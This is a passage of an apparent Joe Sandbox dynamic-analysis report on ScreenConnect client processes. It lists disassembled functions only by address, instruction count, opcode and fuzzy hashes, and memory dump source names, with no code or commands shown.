Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4853344c55830925bc66cfe76044a06c2d7320a1954b15415b2529ddce7f1abb
Instruction ID: f11a5bed21bcc8150f79bf2ad89892d9e5ebea15c72d2ed32bd474716ea1bed3
Opcode Fuzzy Hash: 4853344c55830925bc66cfe76044a06c2d7320a1954b15415b2529ddce7f1abb
Instruction Fuzzy Hash: 71111275D0021A9FCF10DFA4D9809DEBBF5FF49714B108569E509BB260D771AE0ACBA0

Function 0104D006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566169410.000000000104D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0104D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_104d000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 352cd6480b62208405f9bd97941c7393d8342396528f4d64e71629cb8c9365bf
Instruction ID: 67e60aa2d98f01bd7b7c04ab31acecd2e1ee687eb7f8e7361a6c8fb649ad641b
Opcode Fuzzy Hash: 352cd6480b62208405f9bd97941c7393d8342396528f4d64e71629cb8c9365bf
Instruction Fuzzy Hash: BD018CB140D3C09FD7124B258C94752BFA8EF53224F0981DBE9888F2A3C2695C45CB72

Function 0104D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566169410.000000000104D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0104D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_104d000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64bf2bb5e4503e78a8c082f867445c3c39d5cb079d3f97e7540b016590c9317a
Instruction ID: 4c5c4e278d9a1f26cb83906067263c96fd774f8228d75ae9392765dc688cfcce
Opcode Fuzzy Hash: 64bf2bb5e4503e78a8c082f867445c3c39d5cb079d3f97e7540b016590c9317a
Instruction Fuzzy Hash: AF01A7B1404340ABE7605A65C8C4767BBD8EF512A4F18856AFD890F282C2799441CBB5

Function 010A8158 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 546a5ad39c9bdffe46e1d695cd3f08cadd088232a9c3f4c03a14328842d9d849
Instruction ID: ff3905ae2a0826f6938a78b02ab4f97dd8becb3bc786cafdf0eca3457706ce4b
Opcode Fuzzy Hash: 546a5ad39c9bdffe46e1d695cd3f08cadd088232a9c3f4c03a14328842d9d849
Instruction Fuzzy Hash: 17F0AF32A08304AFD754CF7AE84069BBBE9EB84211F15C47FE98CC3200E635A841CB61

Function 010A7FF8 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 756680703d0a4fb73c87794b5aa7dd3f8f6e614b1068b1505ac3b8f445b04a29
Instruction ID: 66464cd2cfa10b463692942359bfd9365a6c5ec7a09f3db0c585149205be0e8b
Opcode Fuzzy Hash: 756680703d0a4fb73c87794b5aa7dd3f8f6e614b1068b1505ac3b8f445b04a29
Instruction Fuzzy Hash: D5016D7261C3108FD764DF28A40169ABBE9AB94311F04C87EE4C9CB280EA71AC41CB55

Function 010A8168 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0f8324f353d766c18b114db1b5bee75208dda26a91bce587c3d27086f648b9c
Instruction ID: 4dc5fe4b234000202306ce3cd88040a41f3c9d9440c7d9762af305f5d92f98e3
Opcode Fuzzy Hash: b0f8324f353d766c18b114db1b5bee75208dda26a91bce587c3d27086f648b9c
Instruction Fuzzy Hash: 46F05E37B083045AD718CAAEA40069BBBDDCBC4221B24C07FD54DC3640E932A5008764

Function 010A1310 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750b17a61773f7ccaca51f9afab2d099c1990433e6fa4baa52deb0fec8eb76f1
Instruction ID: 3dca582c3f158c97af6fd3887fd9264e67c43e68f9d6fcc0c5c3cab94755d67f
Opcode Fuzzy Hash: 750b17a61773f7ccaca51f9afab2d099c1990433e6fa4baa52deb0fec8eb76f1
Instruction Fuzzy Hash: F5F06275D00208DFCB50DFA8DA4119EBBF5FB44211B54C56EE459EAA04EB3295028B92

Function 010A12A0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 507bf223fe1551b246689ddf7ccf8b05393cbca3bf5c4ae664e6d407ec43340b
Instruction ID: ecf12439d89e85a500435a9b56667ae982e405defeb784b021116d34e649c5bb
Opcode Fuzzy Hash: 507bf223fe1551b246689ddf7ccf8b05393cbca3bf5c4ae664e6d407ec43340b
Instruction Fuzzy Hash: 76F0B43A3002145BCB52A67DD81064F37E6EFC9610B44826DE985DB604DB35F8165B91

Function 010A1414 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 445d6f831cdf4395a796806226c277f6705855c719994a5d9961aef0650055ce
Instruction ID: 7ed1ebbd8703b6584668c11d46fec3f38f67ba0de25b63462b69708dfefa4e26
Opcode Fuzzy Hash: 445d6f831cdf4395a796806226c277f6705855c719994a5d9961aef0650055ce
Instruction Fuzzy Hash: C0F09EB38083518FE321C779F8103E93BE2FF91120B44469EE0C18F565E765B506C361

Function 010A5F68 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8e0012754f377d1156a2f4708b66162c3cd6a4d8a041ee90fbce9f1c671fdec
Instruction ID: c0a4bae486f4f997a00ab2c5c288b03048188c4e148692e1a1ae7b656e6fcd92
Opcode Fuzzy Hash: e8e0012754f377d1156a2f4708b66162c3cd6a4d8a041ee90fbce9f1c671fdec
Instruction Fuzzy Hash: E8E09232B005129FC711869CAC46A557BDDB7482A5BA886B5F469CF391FB30DC418281

Function 010A12B0 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6d91b996df260a72775b4c4bb6457f39ce6bb45438ed4fbbf2a4b0e6324bb81
Instruction ID: ecc666f3813392658ba29d6a656677ef50c8e2a3d04ddbb21fc227e957fb2431
Opcode Fuzzy Hash: a6d91b996df260a72775b4c4bb6457f39ce6bb45438ed4fbbf2a4b0e6324bb81
Instruction Fuzzy Hash: 9BF065393006246BCB62B69EE41059F37EAEBC9560744C12DE985DB705DF74E8124BD1

Function 010A6EF3 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c5033a390279468bfc1313e965d0af3a63b048e529b80f641208a2918902dd
Instruction ID: d0b3f8950dbab0a681be7a9c918e8695e4a24b2f1b6f8abf822e1ef21081b011
Opcode Fuzzy Hash: a8c5033a390279468bfc1313e965d0af3a63b048e529b80f641208a2918902dd
Instruction Fuzzy Hash: CDE0D831300314A757251A9AA49D12FBEDEEBC9621754413DF649CB340CE719C058394

Function 010A1DA1 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0426c11afbda087341dbf2f4801d01f8395665d40b978e639fe01a9e406e9baa
Instruction ID: 1a88ce195df78aca42f2323d6685a1babf585faab11053fbf1534d149c21daca
Opcode Fuzzy Hash: 0426c11afbda087341dbf2f4801d01f8395665d40b978e639fe01a9e406e9baa
Instruction Fuzzy Hash: B6E0A9392003149BE724AB69A44812A7BEAEBC8222B00423AE486C7284DF759C01CBA0

Function 010A6EF8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43bec4dfb92d61183b07551e339eb4b4bb05479b87e2737173980653c308f930
Instruction ID: 673f1f819b0ec63f6d0c83ade7df35eefad652bcbfef257fb0a89577afdf2475
Opcode Fuzzy Hash: 43bec4dfb92d61183b07551e339eb4b4bb05479b87e2737173980653c308f930
Instruction Fuzzy Hash: 9CE0DF31300314A797251A9AA49C12FBADEEBC8621744803DF60ACB340CE729C0683A0

Function 010A5F78 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a50d55377a03fb4af176df2e81b565d05ccdb62856b4a4f3e0394ac8de326931
Instruction ID: 60bfebad816edee19cad853cd8834dcc9eab4a1867205b43e9c73891bfce15e5
Opcode Fuzzy Hash: a50d55377a03fb4af176df2e81b565d05ccdb62856b4a4f3e0394ac8de326931
Instruction Fuzzy Hash: 1DE08C33B014529B8B5081DC9C45695B7CEAB892A4BBD86B1FAA9CF381FA31DC024381

Function 010A1DB0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e508743d87804212930f6ad6a76423103a86a869bb73cb1029ad22253d2ff841
Instruction ID: 1e02a880b260fd7bee70af1866927496a14cad5b2c2d8f4efa8b0476d628f449
Opcode Fuzzy Hash: e508743d87804212930f6ad6a76423103a86a869bb73cb1029ad22253d2ff841
Instruction Fuzzy Hash: 36E08639300318575318667DE55C45F7FEEEBC92613144125F556C73C4CE759C01C7A0

Function 010A1DF8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 049dcb14592576d0ca4dc8c865a8c88d248c0813d02bd15a0a3c8faf37f9cef3
Instruction ID: a1ab13ba6eccdf76d4f934bd037cfa1af602fbbb33b449fd946225050ccfa4b0
Opcode Fuzzy Hash: 049dcb14592576d0ca4dc8c865a8c88d248c0813d02bd15a0a3c8faf37f9cef3
Instruction Fuzzy Hash: 2FE04FB8901218EFD714EFB4E9956AD77F8E705205F105279E809DB250EB705E01CB91

Function 010A0838 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d587ce6f3eaad27d11a935ac09a10bf1ef5154aadd37a25ecaf1f53e7019d59
Instruction ID: 83d3aa6e9aa6f27a0bd4ff2ef7c76c03c63835599d22b94c441c66d1ab363605
Opcode Fuzzy Hash: 0d587ce6f3eaad27d11a935ac09a10bf1ef5154aadd37a25ecaf1f53e7019d59
Instruction Fuzzy Hash: D7E04F30901208FFDB50DFB5E94169E77F9EB45210F1046AAD844D7200DE362E41AB45

Function 010A7FB8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fc4052f42b92377679cc8dad30167337679a5c679b9751a6b50980aca547e80
Instruction ID: da1307bc51cc51e8384ac946ac88c0224cb6d1011b6445697159df12adca6e62
Opcode Fuzzy Hash: 3fc4052f42b92377679cc8dad30167337679a5c679b9751a6b50980aca547e80
Instruction Fuzzy Hash: 6FE04F31416714AFC340AF24DD07785B7F4EB55300F54886DE88CCB380D235A805CF92

Function 010A8120 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef0c48f29560d0607aca4ae7f4d6185d1107e1bbe23c00240253c876df1f3686
Instruction ID: f3a165df6225b508111cdd10842de232810a34da78c5d55f9d84ce1eb3944e2f
Opcode Fuzzy Hash: ef0c48f29560d0607aca4ae7f4d6185d1107e1bbe23c00240253c876df1f3686
Instruction Fuzzy Hash: 04E0EC768542159FC740AFB4E94578ABBE4EB64200F548D2EEC88D3344E2B5A9458B91

Function 010A13D3 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7151569889c3027ea10fe542ceb796d953d0b6d364fa433ad607906cdd493c10
Instruction ID: 58e89847f8e26e6a0d3830fbaab12a10b92585e35fe00553f819d323c921bf99
Opcode Fuzzy Hash: 7151569889c3027ea10fe542ceb796d953d0b6d364fa433ad607906cdd493c10
Instruction Fuzzy Hash: B9E0C276A047125BD739EB69F8407DD63E2BFC4220F045B6CE0858F649DB61B90683A5

Function 010A0848 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d185882073ec70efafa4ad328eaf876e9e15b45ead36f87cf343d01d8dbc6d96
Instruction ID: b47d967fec554869abb1618fd5bf9813b124ffbbda4d9e14993c702a581c10f5
Opcode Fuzzy Hash: d185882073ec70efafa4ad328eaf876e9e15b45ead36f87cf343d01d8dbc6d96
Instruction Fuzzy Hash: DDD05E74A0120CFFCB50EFB9E94159EB7F9EB44210B1086ADD848D7200EF312F019B95

Function 010A1E08 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d37421aad3231504df865d6efe692c062b22c994ac9c26282a34dd458746f5c
Instruction ID: d84048e7968b054708a221e886d1cf9e8e9ce7828c477376f4592ef639f11e99
Opcode Fuzzy Hash: 0d37421aad3231504df865d6efe692c062b22c994ac9c26282a34dd458746f5c
Instruction Fuzzy Hash: 9ED05B7490120CEFDB54DFB4E94559DB7F9EB44210B1046A9E40CDB350DB715F009B51

Analysis Process: ScreenConnect.ClientService.exePID: 7512, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Executed Functions

Function 014E4C64 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlGetVersion.NTDLL(0000009C), ref: 014E4DBE

Strings

`Qq, xrefs: 014E4DEB
`Qq, xrefs: 014E4C86

Memory Dump Source

Source File: 00000009.00000002.3157748964.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_14e0000_ScreenConnect.jbxd

Similarity

API ID: Version
String ID: `Qq$`Qq
API String ID: 1889659487-3032102428
Opcode ID: a839eaa4b97ef769f641193c92d287176875f11ac37bade7c2991d4fb5d019d1
Instruction ID: 270031ee44b300fd593afa648d6ab0f74cb0e29b40977d06404146fb647db27e
Opcode Fuzzy Hash: a839eaa4b97ef769f641193c92d287176875f11ac37bade7c2991d4fb5d019d1
Instruction Fuzzy Hash: FA41B070E003199FDB649F68D808BAEBBF5FB44310F0480AAD518E7390DB754A95CF92

Function 059B0948 Relevance: .4, Instructions: 386
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25ffa2f2652a1aebfde7dc2f12e278f87fe89363ab3b8d3950faecf49482e0ba
Instruction ID: ad623d0686951b89e2ffa834c54253475199956e4dfb3c24769fb4b058214f67
Opcode Fuzzy Hash: 25ffa2f2652a1aebfde7dc2f12e278f87fe89363ab3b8d3950faecf49482e0ba
Instruction Fuzzy Hash: AA026A35A107198FDB11DF68C940A9AB7F2FF89310F118699D549AB321EB70EE85CF81

Function 059B2368 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a20c8bd29da71c18c3b0d6ed1c8b9397870e48c8cf7c49eb634867a2208cac05
Instruction ID: 53ee6915cc8fe470e224ede29dcbeffdc3e183c0432ebe1041f4c0047e3a323a
Opcode Fuzzy Hash: a20c8bd29da71c18c3b0d6ed1c8b9397870e48c8cf7c49eb634867a2208cac05
Instruction Fuzzy Hash: 04416B31A043458FDB06CF68D9805DABBB7FF86310B1585AAE804AF253D771E846CB90

Function 0115D59C Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3156448652.000000000115D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0115D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_115d000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e77bd24d74e96715a2098d75a450cc1ece3b44d35d268f4350cb1b841a61b12
Instruction ID: 143b6cfd29ba964292bec3e937835ed0958abd1fa2e292db5d4f879db6e47da4
Opcode Fuzzy Hash: 8e77bd24d74e96715a2098d75a450cc1ece3b44d35d268f4350cb1b841a61b12
Instruction Fuzzy Hash: 4521F1B1504204EFDF59DF54E9C0B26BFA6FB88314F208569ED090B256C336D456CBB2

Function 059B02C5 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0252c4b3fa9bdde0890e22b9719536d7b7e3eff305e2c3c542b70e4d3e0a114c
Instruction ID: ff35d2701e88eac87fd8da06e14f6e293b66107daf2d2cc9c6a090dff3a7d381
Opcode Fuzzy Hash: 0252c4b3fa9bdde0890e22b9719536d7b7e3eff305e2c3c542b70e4d3e0a114c
Instruction Fuzzy Hash: D8115B32B093608FDB228F3898989CE3FB5FF9621031941ABE845CB262C6649C05C790

Function 0115D597 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3156448652.000000000115D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0115D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_115d000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6c069b3d400d01fa3022dda7a4192202465086b1da4fe746ff97b9e65d68317
Instruction ID: 608bb0943080addb0c5b50cdd9b6f38debd829a2a82cbac1b1f0c743b60a8f6c
Opcode Fuzzy Hash: b6c069b3d400d01fa3022dda7a4192202465086b1da4fe746ff97b9e65d68317
Instruction Fuzzy Hash: A811AF76504284CFCF16CF54E9C4B16BF62FB84314F2486A9DD090B657C336D45ACBA2

Function 0115D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3156448652.000000000115D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0115D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_115d000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7e48843903b0f04140ed8e154ea7a4b1d605ec4d3d77c05429f5388a588c194
Instruction ID: 74d143437252de5952e4b9a899cce104f82e810267fcea259cced4fa1b6025e7
Opcode Fuzzy Hash: d7e48843903b0f04140ed8e154ea7a4b1d605ec4d3d77c05429f5388a588c194
Instruction Fuzzy Hash: 3501A771404340EEEB684E66E884767BBD8EF412A4F18C519ED594F283C7799442CBB6

Function 0115D006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3156448652.000000000115D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0115D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_115d000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b9c83751b0482bbd0c5915c79fba3e543f1346f6c626969e2960c5ca9cc2110
Instruction ID: 17148b4cec24137a4e832276f10f98eb752c99727768625833d00b523031a4cb
Opcode Fuzzy Hash: 7b9c83751b0482bbd0c5915c79fba3e543f1346f6c626969e2960c5ca9cc2110
Instruction Fuzzy Hash: 2501527140D3C09FD7164B259C94752BFB4EF42224F1981DBED988F293C2695844C772

Function 059B03CF Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99cef4a65ddfe619e104bd79c3111c69289a8cc883b6369884e20dd9ee9243ef
Instruction ID: f511031ba58aecd0e4534c91cd5ee2984573b13a70b724851e715eb47d454abb
Opcode Fuzzy Hash: 99cef4a65ddfe619e104bd79c3111c69289a8cc883b6369884e20dd9ee9243ef
Instruction Fuzzy Hash: 37017170E151098FEB54DF68C599AEE7BF2FF44300F1094A9C4099B351E770D946CB82

Function 059B03E0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b0b849e8a931937e9c6a13a15ad43938009e42fd5e7ec2dd4909684fce41a6d
Instruction ID: e54485a0350d953316f426909eaad00c786e2a50ad27c6da4217a9c5ca5e7d44
Opcode Fuzzy Hash: 9b0b849e8a931937e9c6a13a15ad43938009e42fd5e7ec2dd4909684fce41a6d
Instruction Fuzzy Hash: AE012C30E002098FEB44DF68C559AAE7BF6FF48304F5094A9D409DB351EA70D941CB82

Function 059B1598 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d24212236a32263056c0e076d9cfecfd6372b090aea237dce72b3cd19b603678
Instruction ID: 5d939759d93ad1ae1224e4b76daa8ebbbc38cdc02390331fc793894f024108e5
Opcode Fuzzy Hash: d24212236a32263056c0e076d9cfecfd6372b090aea237dce72b3cd19b603678
Instruction Fuzzy Hash: D8E02B31204310EFE7148A19E8C089BBBF8EBC15243904179E548C7601D624FC03C7A0

Function 059B2449 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea0e782434b67be277d9713dc67580fb7c12bb661a965cbcb27ebcab7005a8e2
Instruction ID: afb469bbd5b23e853f6b7b37fe1f5819adfe2512913e655e1a493652d9eb57e1
Opcode Fuzzy Hash: ea0e782434b67be277d9713dc67580fb7c12bb661a965cbcb27ebcab7005a8e2
Instruction Fuzzy Hash: 4FE02B31B443049FE7955779A8444FE3BF2DBD222435444BFD045EB612DB669C074B90

Function 059B0399 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ad54e790d0d217834e2dc996347728d044fa578d8888e9c2ac9f7f680897bcc
Instruction ID: 7a2d445cdbb202dee4ac0f2c4c85bb1fafd4767344ff3a9e4a854a2eb781fe0c
Opcode Fuzzy Hash: 5ad54e790d0d217834e2dc996347728d044fa578d8888e9c2ac9f7f680897bcc
Instruction Fuzzy Hash: 8EE0D83A3049085FC7119E59DC48CE9BBB1DFC5310309406AE415C7321CA709E06CB54

Function 059B15A8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b265f1ec5e8a368a14c5f57db37670551e77b298fe783390c02d77131a3957f8
Instruction ID: eabab24385b50cd5ff56cc5580e30a7c30bf84426fa24ee6dae7d2e9d13ac636
Opcode Fuzzy Hash: b265f1ec5e8a368a14c5f57db37670551e77b298fe783390c02d77131a3957f8
Instruction Fuzzy Hash: 8EE08C31304324FFA7149A1AE984C9FBBE9EBC5A64390812DE50D9B204DA60BC028BB1

Function 059B0360 Relevance: .0, Instructions: 22COMMON

